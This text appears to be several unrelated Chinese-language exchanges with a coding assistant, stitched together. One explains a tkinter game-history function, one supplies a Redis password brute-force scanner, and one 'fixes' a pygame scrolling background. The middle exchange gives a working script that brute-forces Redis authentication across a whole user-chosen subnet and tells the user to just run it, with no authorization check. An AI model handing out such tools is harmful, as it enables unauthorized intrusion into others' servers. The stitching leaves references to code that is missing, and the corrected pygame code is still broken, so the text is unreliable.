def show_history(self): records = [] with open("D:/history.txt", "r") as f: for line in f: timestamp, winner = line.strip().split(",") records.append((datetime.datetime.fromtimestamp(int(timestamp)), int(winner))) records.sort() black_wins = sum(1 for _, winner in records if winner == 0) white_wins = sum(1 for _, winner in records if winner == 1) message = f"黑方胜利 {black_wins} 次，白方胜利 {white_wins} 次\n\n" for timestamp, winner in records: message += f"{timestamp.strftime('')} {'黑方' if winner == 0 else '白方'}胜利\n" tkinter.messagebox.showinfo("历史记录", message)，解释这段代码

这段代码是一个方法，用于展示游戏历史记录。它首先从指定路径的文件中读取历史记录，每一行记录都包含一个时间戳和获胜方（0表示黑方胜利，1表示白方胜利）。然后，它将记录按时间排序，并计算黑方和白方的胜利次数。最后，它将所有记录按照时间顺序格式化成一个字符串，并用tkinter库中的messagebox.showinfo方法显示在一个弹出窗口中。

可以，可以将ScanPort类的start方法中的scan_port方法替换为redis_brute方法，同时传入ip和port参数，如下所示：

import socket 
import ipaddress   
import redis

class ScanRedis:
    def __init__(self):
        self.ip = None

    def redis_brute(self, password_file, port):
        r = redis.Redis(host=self.ip, port=port)
        with open(password_file) as f:
            for line in f:
                password = line.strip()
                try:
                    r.auth(username=None, password=password)
                    print(f"Success! Password is {password}")
                    return True
                except redis.exceptions.AuthenticationError:
                    print(f"Failed! Password is {password}")
        return False

    def start(self):
        network = input("请输入你想要扫描的网段: ")
        hosts = list(ipaddress.IPv4Network(network).hosts())
        port = 6379
        password_file = 'password.txt'
        socket.setdefaulttimeout(0.5)
        for host in hosts:
            self.ip = str(host)
            self.redis_brute(password_file, port)

if __name__ == '__main__':
    ScanRedis().start()

你可以将password.txt替换为你的密码字典文件，然后运行该代码即可对指定的网段进行扫描爆破。

import random import time import pygame from pygame.constants import * from pygame.image import load as addimage class Base(object): def __init__(self, image, x, y, screen): self.x = x self.y = y self.image = image self.screen = screen self.speedx= 0 self.speedy = 0 def draw(self): self.screen.blit(self.image, (self.x, self.y)) def changespeed(self, x, y): self.speedx = x self.speedy = y def changespeedx(self, x): self.speedx = x def changespeedy(self, y): self.speedy = y def move(self): self.x += self.speedx self.y += self.speedy class Background(): def __init__(self): pygame.display.set_caption("Plane War Game") self.image1 = Base(addimage('./images/bg1.png'), 0, -1200) self.image2 = Base(addimage('./images/bg2.png'), 0, -600) self.image3 = Base(addimage('./images/bg3.png'), 0, 0) self.bgs = [] self.bgs.append(self.image1) self.bgs.append(self.image2) self.bgs.append(self.image3) self.speedy = 3 for bg in self.bgs: bg.changespeedy(self.speedy) def show(self): for bg in self.bgs: bg.move() bg.draw() if bg.y > 1200: bg.y = -600 def main(): maxsize = (800, 600) screen = pygame.display.set_mode(maxsize) a = pygame.image.load("./images/bg2.png") while True: a.show() time.sleep(0.03) if __name__ == '__main__': main()

这段代码存在一些问题，比如：

1. 在 Base 类中，没有实现对速度的限制，可能导致物体移动过快或过慢。
2. 在 Background 类中，没有考虑到循环播放背景图片的情况，会导致背景图片移动到屏幕底部后出现空白区域。
3. 在 main 函数中，调用了一个名为 a 的变量的 show 方法，但是 a 并不是一个对象，会导致 AttributeError 错误。

下面是修改后的代码：

import random 
import time  
import pygame 
from pygame.constants import * 
from pygame.image import load as addimage   

class Base(object):
    def __init__(self, image, x, y, screen):
        self.x = x
        self.y = y
        self.image = image
        self.screen = screen
        self.speedx = 0
        self.speedy = 0
        self.max_speed = 10 # 设置最大速度
        
    def draw(self):
        self.screen.blit(self.image, (self.x, self.y))
        
    def changespeed(self, x, y):
        if abs(self.speedx + x) < self.max_speed: # 控制速度不超过最大速度
            self.speedx += x
        if abs(self.speedy + y) < self.max_speed:
            self.speedy += y
        
    def changespeedx(self, x):
        if abs(self.speedx + x) < self.max_speed:
            self.speedx += x
        
    def changespeedy(self, y):
        if abs(self.speedy + y) < self.max_speed:
            self.speedy += y
        
    def move(self):
        self.x += self.speedx
        self.y += self.speedy

class Background():
    def __init__(self):
        pygame.display.set_caption("Plane War Game")
        self.image1 = Base(addimage('./images/bg1.png'), 0, -1200)
        self.image2 = Base(addimage('./images/bg2.png'), 0, -600)
        self.image3 = Base(addimage('./images/bg3.png'), 0, 0)
        self.bgs = []
        self.bgs.append(self.image1)
        self.bgs.append(self.image2)
        self.bgs.append(self.image3)
        self.speedy = 3
        for bg in self.bgs:
            bg.changespeedy(self.speedy)
        
    def show(self):
        for bg in self.bgs:
            bg.move()
            bg.draw()
            if bg.y > 1800: # 判断是否到达屏幕底部
                bg.y = self.bgs[self.bgs.index(bg)-1].y - 600 # 计算下一张图片的位置

def main():
    maxsize = (800, 600)
    screen = pygame.display.set_mode(maxsize)
    bg = Background() # 实例化 Background 类
    while True:
        bg.show() # 调用 Background 类的 show 方法
        pygame.display.update()
        time.sleep(0.03)

if __name__ == '__main__':
    main()

修改后的代码增加了对速度的限制，使得物体移动更加平稳；在 Background 类中新增了循环播放背景图片的功能，避免了出现空白区域的问题；在 main 函数中，创建了 Background 类的实例，并调用其 show 方法来播放背景图片。
